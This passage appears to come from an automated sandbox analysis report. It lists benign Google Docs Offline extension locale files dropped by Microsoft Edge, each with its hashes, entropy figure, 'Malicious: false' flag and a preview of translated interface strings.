Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
